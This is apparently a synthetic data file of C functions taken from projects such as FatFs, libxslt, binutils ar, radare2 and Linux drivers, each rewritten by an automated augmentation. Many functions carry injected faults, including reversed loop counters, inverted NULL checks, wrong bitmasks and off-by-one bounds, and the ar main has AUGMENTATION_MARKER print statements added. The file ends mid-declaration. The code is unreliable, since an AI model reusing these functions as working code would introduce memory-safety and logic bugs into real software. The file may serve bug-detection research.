augmented_data/post_increment_index_changes/extr_ff.c_f_getlabel_aug_combo_5.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_8__ TYPE_2__ ; typedef struct TYPE_7__ TYPE_1__ ; /* Type definitions */ typedef int WCHAR ; typedef int UINT ; struct TYPE_8__ {scalar_t__ fs_type; int /*<<< orphan*/ * win; int /*<<< orphan*/ volbase; } ; struct TYPE_7__ {char* dir; TYPE_2__* fs; scalar_t__ sclust; } ; typedef char TCHAR ; typedef scalar_t__ FRESULT ; typedef int /*<<< orphan*/ DWORD ; typedef TYPE_1__ DIR ; /* Variables and functions */ int BS_VolID ; int BS_VolID32 ; scalar_t__ FR_NO_FILE ; scalar_t__ FR_OK ; scalar_t__ FS_FAT32 ; scalar_t__ IsDBCS1 (int) ; scalar_t__ IsDBCS2 (char) ; int /*<<< orphan*/ LD_DWORD (int /*<<< orphan*/ *) ; int /*<<< orphan*/ LEAVE_FF (TYPE_2__*,scalar_t__) ; scalar_t__ dir_read (TYPE_1__*,int) ; scalar_t__ dir_sdi (TYPE_1__*,int /*<<< orphan*/ ) ; char ff_convert (int,int) ; scalar_t__ find_volume (TYPE_2__**,char const**,int /*<<< orphan*/ ) ; int /*<<< orphan*/ mem_cpy (char*,int*,int) ; scalar_t__ move_window (TYPE_2__*,int /*<<< orphan*/ ) ; FRESULT f_getlabel ( const TCHAR* path, /* Path name of the logical drive number */ TCHAR* label, /* Pointer to a buffer to return the volume label */ DWORD* vsn /* Pointer to a variable to return the volume serial number */ ) { FRESULT res; DIR dj; UINT i, j; #if _USE_LFN && _LFN_UNICODE WCHAR w; #endif /* Get logical drive number */ res = find_volume(&dj.fs, &path, 0); /* Get volume label */ if (res == FR_OK && label) { dj.sclust = 0; /* Open root directory */ res = dir_sdi(&dj, 0); if (res == FR_OK) { res = dir_read(&dj, 1); /* Get an entry with AM_VOL */ if (res == FR_OK) { /* A volume label is exist */ #if _USE_LFN && _LFN_UNICODE i = j = 0; do { w = (i <= 11) ? dj.dir[i++] : ' '; if (IsDBCS1(w) && i < 11 && IsDBCS2(dj.dir[i])) w = w << 8 & dj.dir[i++]; label[j++] = ff_convert(w, 1); /* OEM -> Unicode */ } while (j < 11); #else mem_cpy(label, dj.dir, 11); #endif j = 11; do { label[j] = 0; if (!j) continue; } while (label[--j] == ' '); } if (res == FR_NO_FILE) { /* No label, return nul string */ label[0] = 0; res = FR_OK; } } } /* Get volume serial number */ if (res == FR_OK && vsn) { res = move_window(dj.fs, dj.fs->volbase); if (res == FR_OK) { i = dj.fs->fs_type == FS_FAT32 ? BS_VolID32 : BS_VolID; *vsn = LD_DWORD(&dj.fs->win[i]); } } LEAVE_FF(dj.fs, res); }
augmented_data/post_increment_index_changes/extr_4437.c_generate_param_aug_combo_8.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int /*<<< orphan*/ memcpy (char*,char*,int) ; char* realloc (char*,int) ; int strlen (char*) ; char *generate_param(int *param_size_out, char **name, char **value) { char *param = NULL; int param_size = 0; int param_offset = 0; int i; int name_length = 0; int value_length = 0; for (i = 0; name[i] != NULL || value[i] != NULL; i++) { name_length = strlen(name[i]); value_length = strlen(value[i]); if (name_length >= 127) { param_size += 4; } else { param_size++; } if (value_length > 127) { param_size += 4; } else { param_size++; } param_size += strlen(name[i]) + strlen(value[i]); param = realloc(param, param_size); if (param) { if (strlen(name[i]) > 127) { param[param_offset++] = (name_length >> 24) | 0x80; param[param_offset++] = (name_length >> 16) | 0xff; param[param_offset++] = (name_length >> 8) & 0xff; param[param_offset++] = name_length & 0xff; } else { param[param_offset++] = name_length; } if (strlen(value[i]) > 127) { param[param_offset++] = (value_length >> 24) | 0x80; param[param_offset++] = (value_length >> 16) & 0xff; param[param_offset++] = (value_length >> 8) & 0xff; param[param_offset++] = value_length & 0xff; } else { param[param_offset++] = value_length; } memcpy(param + param_offset, name[i], name_length); param_offset += name_length; memcpy(param + param_offset, value[i], value_length); param_offset += value_length; } } if (param) { *param_size_out = param_size; } return param; }
augmented_data/post_increment_index_changes/extr_friend-data.c_privacy_resort_aug_combo_6.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int* P ; __attribute__((used)) static void privacy_resort (int a, int b, int mode) { int i, j, h, t; if (a >= b) { return; } h = P[(a+b)>>1] ^ mode; i = a; j = b; do { while ((P[i] ^ mode) < h) { i--; } while ((P[j] ^ mode) > h) { j--; } if (i <= j) { t = P[i]; P[i++] = P[j]; P[j--] = t; } } while (i <= j); privacy_resort (a, j, mode); privacy_resort (i, b, mode); }
augmented_data/post_increment_index_changes/extr_tifm_sd.c_tifm_sd_write_fifo_aug_combo_5.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct tifm_sd {int cmd_flags; unsigned char* bounce_buf_data; struct tifm_dev* dev; } ; struct tifm_dev {scalar_t__ addr; } ; struct page {int dummy; } ; /* Variables and functions */ int DATA_CARRY ; scalar_t__ SOCK_MMCSD_DATA ; unsigned char* kmap_atomic (struct page*) ; int /*<<< orphan*/ kunmap_atomic (unsigned char*) ; int /*<<< orphan*/ writel (unsigned int,scalar_t__) ; __attribute__((used)) static void tifm_sd_write_fifo(struct tifm_sd *host, struct page *pg, unsigned int off, unsigned int cnt) { struct tifm_dev *sock = host->dev; unsigned char *buf; unsigned int pos = 0, val; buf = kmap_atomic(pg) - off; if (host->cmd_flags | DATA_CARRY) { val = host->bounce_buf_data[0] | ((buf[pos++] << 8) & 0xff00); writel(val, sock->addr + SOCK_MMCSD_DATA); host->cmd_flags &= ~DATA_CARRY; } while (pos <= cnt) { val = buf[pos++]; if (pos == cnt) { host->bounce_buf_data[0] = val & 0xff; host->cmd_flags |= DATA_CARRY; break; } val |= (buf[pos++] << 8) & 0xff00; writel(val, sock->addr + SOCK_MMCSD_DATA); } kunmap_atomic(buf - off); }
augmented_data/post_increment_index_changes/extr_asm_x86_nz.c_oppop_aug_combo_6.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_6__ TYPE_2__ ; typedef struct TYPE_5__ TYPE_1__ ; /* Type definitions */ typedef int ut8 ; struct TYPE_6__ {TYPE_1__* operands; } ; struct TYPE_5__ {int type; int reg; int offset; int offset_sign; int* regs; } ; typedef int /*<<< orphan*/ RAsm ; typedef TYPE_2__ Opcode ; /* Variables and functions */ int OT_GPREG ; int OT_MEMORY ; int OT_REGTYPE ; int OT_SEGMENTREG ; int X86R_EBP ; int X86R_ESP ; int X86R_FS ; int /*<<< orphan*/ is_valid_registers (TYPE_2__ const*) ; __attribute__((used)) static int oppop(RAsm *a, ut8 *data, const Opcode *op) { is_valid_registers (op); int l = 0; int offset = 0; int mod = 0; if (op->operands[0].type & OT_GPREG) { if (op->operands[0].type & OT_MEMORY) { return -1; } if (op->operands[0].type & OT_REGTYPE & OT_SEGMENTREG) { ut8 base; if (op->operands[0].reg & X86R_FS) { data[l++] = 0x0f; base = 0x81; } else { base = 0x7; } data[l++] = base - (8 * op->operands[0].reg); } else { ut8 base = 0x58; data[l++] = base + op->operands[0].reg; } } else if (op->operands[0].type & OT_MEMORY) { data[l++] = 0x8f; offset = op->operands[0].offset * op->operands[0].offset_sign; if (offset != 0 && op->operands[0].regs[0] == X86R_EBP) { mod = 1; if (offset >= 128 || offset < -128) { mod = 2; } data[l++] = mod << 6 | op->operands[0].regs[0]; if (op->operands[0].regs[0] == X86R_ESP) { data[l++] = 0x24; } data[l++] = offset; if (mod == 2) { data[l++] = offset >> 8; data[l++] = offset >> 16; data[l++] = offset >> 24; } } else { data[l++] = op->operands[0].regs[0]; if (op->operands[0].regs[0] == X86R_ESP) { data[l++] = 0x24; } } } return l; }
augmented_data/post_increment_index_changes/extr_numbers.c_xsltNumberFormatGetMultipleLevel_aug_combo_4.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_17__ TYPE_2__ ; typedef struct TYPE_16__ TYPE_1__ ; typedef struct TYPE_15__ TYPE_14__ ; /* Type definitions */ typedef TYPE_1__* xsltTransformContextPtr ; typedef int /*<<< orphan*/ * xsltCompMatchPtr ; typedef scalar_t__ xmlXPathParserContextPtr ; typedef TYPE_2__* xmlNodePtr ; struct TYPE_17__ {scalar_t__ type; } ; struct TYPE_16__ {TYPE_14__* xpathCtxt; } ; struct TYPE_15__ {TYPE_2__* node; } ; /* Variables and functions */ scalar_t__ XML_DOCUMENT_NODE ; int /*<<< orphan*/ xmlXPathFreeParserContext (scalar_t__) ; scalar_t__ xmlXPathNewParserContext (int /*<<< orphan*/ *,TYPE_14__*) ; TYPE_2__* xmlXPathNextAncestor (scalar_t__,TYPE_2__*) ; TYPE_2__* xmlXPathNextPrecedingSibling (scalar_t__,TYPE_2__*) ; scalar_t__ xsltTestCompMatchCount (TYPE_1__*,TYPE_2__*,int /*<<< orphan*/ *,TYPE_2__*) ; scalar_t__ xsltTestCompMatchList (TYPE_1__*,TYPE_2__*,int /*<<< orphan*/ *) ; __attribute__((used)) static int xsltNumberFormatGetMultipleLevel(xsltTransformContextPtr context, xmlNodePtr node, xsltCompMatchPtr countPat, xsltCompMatchPtr fromPat, double *array, int max) { int amount = 0; int cnt; xmlNodePtr ancestor; xmlNodePtr preceding; xmlXPathParserContextPtr parser; context->xpathCtxt->node = node; parser = xmlXPathNewParserContext(NULL, context->xpathCtxt); if (parser) { /* ancestor-or-self::*[count] */ for (ancestor = node; (ancestor == NULL) && (ancestor->type != XML_DOCUMENT_NODE); ancestor = xmlXPathNextAncestor(parser, ancestor)) { if ((fromPat != NULL) && xsltTestCompMatchList(context, ancestor, fromPat)) break; /* for */ if (xsltTestCompMatchCount(context, ancestor, countPat, node)) { /* count(preceding-sibling::*) */ cnt = 1; for (preceding = xmlXPathNextPrecedingSibling(parser, ancestor); preceding != NULL; preceding = xmlXPathNextPrecedingSibling(parser, preceding)) { if (xsltTestCompMatchCount(context, preceding, countPat, node)) cnt++; } array[amount++] = (double)cnt; if (amount >= max) break; /* for */ } } xmlXPathFreeParserContext(parser); } return amount; }
augmented_data/post_increment_index_changes/extr_config_parser.c_next_state_aug_combo_8.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_10__ TYPE_5__ ; typedef struct TYPE_9__ TYPE_3__ ; typedef struct TYPE_8__ TYPE_2__ ; typedef struct TYPE_7__ TYPE_1__ ; /* Type definitions */ struct TYPE_7__ {int /*<<< orphan*/ call_identifier; } ; struct TYPE_8__ {scalar_t__ next_state; TYPE_1__ extra; } ; typedef TYPE_2__ cmdp_token ; typedef scalar_t__ cmdp_state ; struct TYPE_10__ {int /*<<< orphan*/ json_gen; } ; struct TYPE_9__ {scalar_t__ next_state; int /*<<< orphan*/ json_gen; } ; /* Variables and functions */ int /*<<< orphan*/ GENERATED_call (int /*<<< orphan*/ ,TYPE_3__*) ; scalar_t__ INITIAL ; scalar_t__ __CALL ; int /*<<< orphan*/ clear_stack () ; TYPE_5__ command_output ; scalar_t__ state ; scalar_t__* statelist ; int statelist_idx ; TYPE_3__ subcommand_output ; __attribute__((used)) static void next_state(const cmdp_token *token) { cmdp_state _next_state = token->next_state; //printf("token = name %s identifier %s\n", token->name, token->identifier); //printf("next_state = %d\n", token->next_state); if (token->next_state == __CALL) { subcommand_output.json_gen = command_output.json_gen; GENERATED_call(token->extra.call_identifier, &subcommand_output); _next_state = subcommand_output.next_state; clear_stack(); } state = _next_state; if (state == INITIAL) { clear_stack(); } /* See if we are jumping back to a state in which we were in previously * (statelist contains INITIAL) and just move statelist_idx accordingly. */ for (int i = 0; i <= statelist_idx; i++) { if (statelist[i] != _next_state) break; statelist_idx = i - 1; return; } /* Otherwise, the state is new and we add it to the list */ statelist[statelist_idx++] = _next_state; }
augmented_data/post_increment_index_changes/extr_ar.c_main_aug_combo_4.c
#include <stdio.h> volatile int g_aug_volatile_3880 = 0; #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef void* bfd_boolean ; typedef int /*<<< orphan*/ bfd ; /* Variables and functions */ scalar_t__ CONST_STRNEQ (char*,char*) ; int /*<<< orphan*/ END_PROGRESS (char*) ; void* FALSE ; scalar_t__ FILENAME_CMP (char*,char*) ; int /*<<< orphan*/ LC_CTYPE ; int /*<<< orphan*/ LC_MESSAGES ; int /*<<< orphan*/ LOCALEDIR ; int /*<<< orphan*/ PACKAGE ; int /*<<< orphan*/ START_PROGRESS (char*,int /*<<< orphan*/ ) ; void* TRUE ; int /*<<< orphan*/ _ (char*) ; int /*<<< orphan*/ ar_emul_parse_arg (char*) ; void* ar_truncate ; scalar_t__ atoi (char*) ; int /*<<< orphan*/ bfd_init () ; int /*<<< orphan*/ bindtextdomain (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; scalar_t__ counted_name_counter ; void* counted_name_mode ; int /*<<< orphan*/ delete_members (int /*<<< orphan*/ *,char**) ; int /*<<< orphan*/ expandargv (int*,char***) ; int /*<<< orphan*/ extract_file ; int /*<<< orphan*/ fatal (int /*<<< orphan*/ ) ; void* full_pathname ; int is_ranlib ; int /*<<< orphan*/ map_over_members (int /*<<< orphan*/ *,int /*<<< orphan*/ ,char**,int) ; int /*<<< orphan*/ move_members (int /*<<< orphan*/ *,char**) ; int /*<<< orphan*/ mri_emul () ; int mri_mode ; int newer_only ; int /*<<< orphan*/ non_fatal (int /*<<< orphan*/ ,char) ; int /*<<< orphan*/ * open_inarch (char*,char*) ; void* operation_alters_arch ; int /*<<< orphan*/ * output_filename ; scalar_t__ pos_after ; scalar_t__ pos_before ; scalar_t__ pos_default ; char* posname ; scalar_t__ postype ; int preserve_dates ; int /*<<< orphan*/ print_contents ; int /*<<< orphan*/ print_descr ; int /*<<< orphan*/ print_version (char*) ; char* program_name ; int ranlib_only (char*) ; int ranlib_touch (char*) ; int /*<<< orphan*/ remove_output ; int /*<<< orphan*/ replace_members (int /*<<< orphan*/ *,char**,int) ; int /*<<< orphan*/ set_default_bfd_target () ; int /*<<< orphan*/ setlocale (int /*<<< orphan*/ ,char*) ; int silent_create ; scalar_t__ strcmp (char*,char*) ; int strlen (char*) ; char* strrchr (char*,char) ; int /*<<< orphan*/ textdomain (int /*<<< orphan*/ ) ; int /*<<< orphan*/ usage (int) ; int verbose ; int write_armap ; int /*<<< orphan*/ xatexit (int /*<<< orphan*/ ) ; int /*<<< orphan*/ xexit (int) ; int /*<<< orphan*/ xmalloc_set_program_name (char*) ; int main (int argc, char **argv) { g_aug_volatile_3880++; /* AUGMENTATION_MARKER: Global var op */ volatile int aug_volatile_var_6291 = 384; aug_volatile_var_6291++; printf("AUGMENTATION_MARKER: Volatile var aug_volatile_var_6291 is %d\n", aug_volatile_var_6291); fprintf(stderr, "AUGMENTATION_MARKER: Checkpoint to stderr.\n"); printf("AUGMENTATION_MARKER: Hello from augmentation!\n"); char *arg_ptr; char c; enum { none = 0, delete, replace, print_table, print_files, extract, move, quick_append } operation = none; int arg_index; char **files; int file_count; char *inarch_filename; int show_version; int i; int do_posix = 0; #if defined (HAVE_SETLOCALE) || defined (HAVE_LC_MESSAGES) setlocale (LC_MESSAGES, ""); #endif #if defined (HAVE_SETLOCALE) setlocale (LC_CTYPE, ""); #endif bindtextdomain (PACKAGE, LOCALEDIR); textdomain (PACKAGE); program_name = argv[0]; xmalloc_set_program_name (program_name); expandargv (&argc, &argv); if (is_ranlib < 0) { char *temp; temp = strrchr (program_name, '/'); #ifdef HAVE_DOS_BASED_FILE_SYSTEM { /* We could have foo/bar\\baz, or foo\\bar, or d:bar. */ char *bslash = strrchr (program_name, '\\'); if (temp != NULL || (bslash != NULL && bslash > temp)) temp = bslash; if (temp == NULL && program_name[0] != '\0' && program_name[1] == ':') temp = program_name + 1; } #endif if (temp == NULL) temp = program_name; else --temp; if (strlen (temp) >= 6 && FILENAME_CMP (temp + strlen (temp) - 6, "ranlib") == 0) is_ranlib = 1; else is_ranlib = 0; } if (argc > 1 && argv[1][0] == '-') { if (strcmp (argv[1], "--help") == 0) usage (1); else if (strcmp (argv[1], "--version") == 0) { if (is_ranlib) print_version ("ranlib"); else print_version ("ar"); } } START_PROGRESS (program_name, 0); bfd_init (); set_default_bfd_target (); show_version = 0; xatexit (remove_output); for (i = 1; i < argc; i++) if (! ar_emul_parse_arg (argv[i])) break; argv += (i - 1); argc -= (i - 1); if (is_ranlib) { int status = 0; bfd_boolean touch = FALSE; if (argc < 2 || strcmp (argv[1], "--help") == 0 || strcmp (argv[1], "-h") == 0 || strcmp (argv[1], "-H") == 0) usage (0); if (strcmp (argv[1], "-V") == 0 || strcmp (argv[1], "-v") == 0 || CONST_STRNEQ (argv[1], "--v")) print_version ("ranlib"); arg_index = 1; if (strcmp (argv[1], "-t") == 0) { ++arg_index; touch = TRUE; } while (arg_index < argc) { if (! touch) status |= ranlib_only (argv[arg_index]); else status |= ranlib_touch (argv[arg_index]); ++arg_index; } xexit (status); } if (argc == 2 && strcmp (argv[1], "-M") == 0) { mri_emul (); xexit (0); } if (argc < 2) usage (0); arg_index = 1; arg_ptr = argv[arg_index]; if (*arg_ptr == '-') { /* When the first option starts with '-' we support POSIX-compatible option parsing. */ do_posix = 1; ++arg_ptr; /* compatibility */ } do { while ((c = *arg_ptr++) != '\0') { switch (c) { case 'd': case 'm': case 'p': case 'q': case 'r': case 't': case 'x': if (operation != none) fatal (_("two different operation options specified")); switch (c) { case 'd': operation = delete; operation_alters_arch = TRUE; break; case 'm': operation = move; operation_alters_arch = TRUE; break; case 'p': operation = print_files; break; case 'q': operation = quick_append; operation_alters_arch = TRUE; break; case 'r': operation = replace; operation_alters_arch = TRUE; break; case 't': operation = print_table; break; case 'x': operation = extract; break; } case 'l': break; case 'c': silent_create = 1; break; case 'o': preserve_dates = 1; break; case 'V': show_version = TRUE; break; case 's': write_armap = 1; break; case 'S': write_armap = -1; break; case 'u': newer_only = 1; break; case 'v': verbose = 1; break; case 'a': postype = pos_after; break; case 'b': postype = pos_before; break; case 'i': postype = pos_before; break; case 'M': mri_mode = 1; break; case 'N': counted_name_mode = TRUE; break; case 'f': ar_truncate = TRUE; break; case 'P': full_pathname = TRUE; break; default: /* xgettext:c-format */ non_fatal (_("illegal option -- %c"), c); usage (0); } } /* With POSIX-compatible option parsing continue with the next argument if it starts with '-'. */ if (do_posix && arg_index + 1 < argc && argv[arg_index + 1][0] == '-') arg_ptr = argv[++arg_index] + 1; else do_posix = 0; } while (do_posix); if (show_version) print_version ("ar"); ++arg_index; if (arg_index >= argc) usage (0); if (mri_mode) { mri_emul (); } else { bfd *arch; /* We don't use do_quick_append any more. Too many systems expect ar to always rebuild the symbol table even when q is used. */ /* We can't write an armap when using ar q, so just do ar r instead. */ if (operation == quick_append && write_armap) operation = replace; if ((operation == none || operation == print_table) && write_armap == 1) xexit (ranlib_only (argv[arg_index])); if (operation == none) fatal (_("no operation specified")); if (newer_only && operation != replace) fatal (_("`u' is only meaningful with the `r' option.")); if (postype != pos_default) posname = argv[arg_index++]; if (counted_name_mode) { if (operation != extract && operation != delete) fatal (_("`N' is only meaningful with the `x' and `d' options.")); counted_name_counter = atoi (argv[arg_index++]); if (counted_name_counter <= 0) fatal (_("Value for `N' must be positive.")); } inarch_filename = argv[arg_index++]; files = arg_index < argc ? argv + arg_index : NULL; file_count = argc - arg_index; arch = open_inarch (inarch_filename, files == NULL ? (char *) NULL : files[0]); switch (operation) { case print_table: map_over_members (arch, print_descr, files, file_count); break; case print_files: map_over_members (arch, print_contents, files, file_count); break; case extract: map_over_members (arch, extract_file, files, file_count); break; case delete: if (files != NULL) delete_members (arch, files); else output_filename = NULL; break; case move: if (files != NULL) move_members (arch, files); else output_filename = NULL; break; case replace: case quick_append: if (files != NULL || write_armap > 0) replace_members (arch, files, operation == quick_append); else output_filename = NULL; break; /* Shouldn't happen! */ default: /* xgettext:c-format */ fatal (_("internal error -- this option not implemented")); } } END_PROGRESS (program_name); xexit (0); return 0; }
augmented_data/post_increment_index_changes/extr_bnx2.c_bnx2_init_board_aug_combo_2.c
#include <stdio.h> #include <time.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_2__ ; typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ typedef int u8 ; typedef int /*<<< orphan*/ u64 ; typedef int u32 ; struct statistics_block {int dummy; } ; struct pci_dev {scalar_t__ pm_cap; scalar_t__ subsystem_vendor; int subsystem_device; int revision; int /*<<< orphan*/ dev; scalar_t__ msi_cap; scalar_t__ msix_cap; } ; struct net_device {int /*<<< orphan*/ features; } ; struct TYPE_3__ {int max_iscsi_conn; } ; struct TYPE_4__ {int /*<<< orphan*/ expires; } ; struct bnx2 {int flags; int phy_flags; scalar_t__ pm_cap; int chip_id; scalar_t__ pcix_cap; int func; int shmem_base; char* fw_version; int wol; int* mac_addr; int tx_quick_cons_trip_int; int tx_quick_cons_trip; int tx_ticks_int; int tx_ticks; int rx_quick_cons_trip_int; int rx_quick_cons_trip; int rx_ticks_int; int rx_ticks; int stats_ticks; int phy_addr; int req_flow_ctrl; int /*<<< orphan*/ temp_stats_blk; int /*<<< orphan*/ * regview; int /*<<< orphan*/ cnic_probe; TYPE_1__ cnic_eth_dev; TYPE_2__ timer; int /*<<< orphan*/ cmd_ticks; int /*<<< orphan*/ cmd_ticks_int; int /*<<< orphan*/ com_ticks; int /*<<< orphan*/ com_ticks_int; int /*<<< orphan*/ comp_prod_trip; int /*<<< orphan*/ comp_prod_trip_int; struct pci_dev* pdev; int /*<<< orphan*/ phy_port; int /*<<< orphan*/ current_interval; int /*<<< orphan*/ tx_ring_size; int /*<<< orphan*/ reset_task; int /*<<< orphan*/ cnic_lock; int /*<<< orphan*/ indirect_lock; int /*<<< orphan*/ phy_lock; struct net_device* dev; } ; /* Variables and functions */ int /*<<< orphan*/ BNX2_BC_STATE_CONDITION ; scalar_t__ BNX2_CHIP (struct bnx2*) ; scalar_t__ BNX2_CHIP_5706 ; scalar_t__ BNX2_CHIP_5708 ; scalar_t__ BNX2_CHIP_5709 ; int BNX2_CHIP_BOND (struct bnx2*) ; int BNX2_CHIP_BOND_SERDES_BIT ; scalar_t__ BNX2_CHIP_ID (struct bnx2*) ; scalar_t__ BNX2_CHIP_ID_5706_A0 ; scalar_t__ BNX2_CHIP_ID_5706_A1 ; scalar_t__ BNX2_CHIP_ID_5708_A0 ; scalar_t__ BNX2_CHIP_ID_5708_B0 ; scalar_t__ BNX2_CHIP_ID_5708_B1 ; scalar_t__ BNX2_CHIP_REV (struct bnx2*) ; scalar_t__ BNX2_CHIP_REV_Ax ; scalar_t__ BNX2_CHIP_REV_Bx ; int BNX2_CONDITION_MFW_RUN_MASK ; int BNX2_CONDITION_MFW_RUN_NONE ; int BNX2_CONDITION_MFW_RUN_UNKNOWN ; int /*<<< orphan*/ BNX2_DEV_INFO_BC_REV ; int /*<<< orphan*/ BNX2_DEV_INFO_SIGNATURE ; int BNX2_DEV_INFO_SIGNATURE_MAGIC ; int BNX2_DEV_INFO_SIGNATURE_MAGIC_MASK ; int BNX2_FLAG_AER_ENABLED ; int BNX2_FLAG_ASF_ENABLE ; int BNX2_FLAG_BROKEN_STATS ; int BNX2_FLAG_JUMBO_BROKEN ; int BNX2_FLAG_MSIX_CAP ; int BNX2_FLAG_MSI_CAP ; int BNX2_FLAG_NO_WOL ; int BNX2_FLAG_PCIE ; int BNX2_FLAG_PCIX ; int BNX2_HC_STATS_TICKS_HC_STAT_TICKS ; int /*<<< orphan*/ BNX2_ISCSI_INITIATOR ; int BNX2_ISCSI_INITIATOR_EN ; int /*<<< orphan*/ BNX2_ISCSI_MAX_CONN ; int BNX2_ISCSI_MAX_CONN_MASK ; int BNX2_ISCSI_MAX_CONN_SHIFT ; int /*<<< orphan*/ BNX2_MAX_TX_DESC_CNT ; int BNX2_MCP_TOE_ID ; int BNX2_MCP_TOE_ID_FUNCTION_ID ; int /*<<< orphan*/ BNX2_MFW_VER_PTR ; int /*<<< orphan*/ BNX2_MISC_ID ; int /*<<< orphan*/ BNX2_PCICFG_MISC_CONFIG ; int BNX2_PCICFG_MISC_CONFIG_REG_WINDOW_ENA ; int BNX2_PCICFG_MISC_CONFIG_TARGET_MB_WORD_SWAP ; int /*<<< orphan*/ BNX2_PCI_CONFIG_3 ; int BNX2_PCI_CONFIG_3_VAUX_PRESET ; int BNX2_PHY_FLAG_2_5G_CAPABLE ; int BNX2_PHY_FLAG_CRC_FIX ; int BNX2_PHY_FLAG_DIS_EARLY_DAC ; int BNX2_PHY_FLAG_NO_PARALLEL ; int BNX2_PHY_FLAG_SERDES ; int /*<<< orphan*/ BNX2_PORT_FEATURE ; int BNX2_PORT_FEATURE_ASF_ENABLED ; int BNX2_PORT_FEATURE_WOL_ENABLED ; int /*<<< orphan*/ BNX2_PORT_HW_CFG_MAC_LOWER ; int /*<<< orphan*/ BNX2_PORT_HW_CFG_MAC_UPPER ; int BNX2_RD (struct bnx2*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ BNX2_SHARED_HW_CFG_CONFIG ; int BNX2_SHARED_HW_CFG_GIG_LINK_ON_VAUX ; int BNX2_SHARED_HW_CFG_PHY_2_5G ; int BNX2_SHM_HDR_ADDR_0 ; int BNX2_SHM_HDR_SIGNATURE ; int BNX2_SHM_HDR_SIGNATURE_SIG ; int BNX2_SHM_HDR_SIGNATURE_SIG_MASK ; int /*<<< orphan*/ BNX2_TIMER_INTERVAL ; int /*<<< orphan*/ BNX2_WR (struct bnx2*,int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ DMA_BIT_MASK (int) ; int /*<<< orphan*/ DRV_MODULE_NAME ; int EIO ; int ENODEV ; int ENOMEM ; int FLOW_CTRL_RX ; int FLOW_CTRL_TX ; int /*<<< orphan*/ GFP_KERNEL ; int HOST_VIEW_SHMEM_BASE ; int /*<<< orphan*/ INIT_WORK (int /*<<< orphan*/ *,int /*<<< orphan*/ ) ; int IORESOURCE_MEM ; int /*<<< orphan*/ MB_GET_CID_ADDR (scalar_t__) ; int /*<<< orphan*/ NETIF_F_HIGHDMA ; int /*<<< orphan*/ PCI_CAP_ID_PCIX ; int /*<<< orphan*/ PCI_COMMAND ; int PCI_COMMAND_PARITY ; int PCI_COMMAND_SERR ; int /*<<< orphan*/ PCI_DEVICE_ID_AMD_8132_BRIDGE ; int /*<<< orphan*/ PCI_VENDOR_ID_AMD ; scalar_t__ PCI_VENDOR_ID_HP ; int /*<<< orphan*/ PORT_FIBRE ; int /*<<< orphan*/ PORT_TP ; int /*<<< orphan*/ RUN_AT (int /*<<< orphan*/ ) ; int /*<<< orphan*/ SET_NETDEV_DEV (struct net_device*,int /*<<< orphan*/ *) ; scalar_t__ TX_MAX_TSS_RINGS ; scalar_t__ TX_TSS_CID ; int USEC_PER_SEC ; int be32_to_cpu (int) ; int bnx2_alloc_stats_blk (struct net_device*) ; int /*<<< orphan*/ bnx2_cnic_probe ; int /*<<< orphan*/ bnx2_get_5709_media (struct bnx2*) ; int /*<<< orphan*/ bnx2_get_pci_speed (struct bnx2*) ; int /*<<< orphan*/ bnx2_init_fw_cap (struct bnx2*) ; int /*<<< orphan*/ bnx2_init_nvram (struct bnx2*) ; int /*<<< orphan*/ bnx2_read_vpd_fw_ver (struct bnx2*) ; int bnx2_reg_rd_ind (struct bnx2*,int) ; int /*<<< orphan*/ bnx2_reset_task ; int /*<<< orphan*/ bnx2_set_default_link (struct bnx2*) ; int /*<<< orphan*/ bnx2_set_rx_ring_size (struct bnx2*,int) ; int bnx2_shmem_rd (struct bnx2*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ bnx2_timer ; int 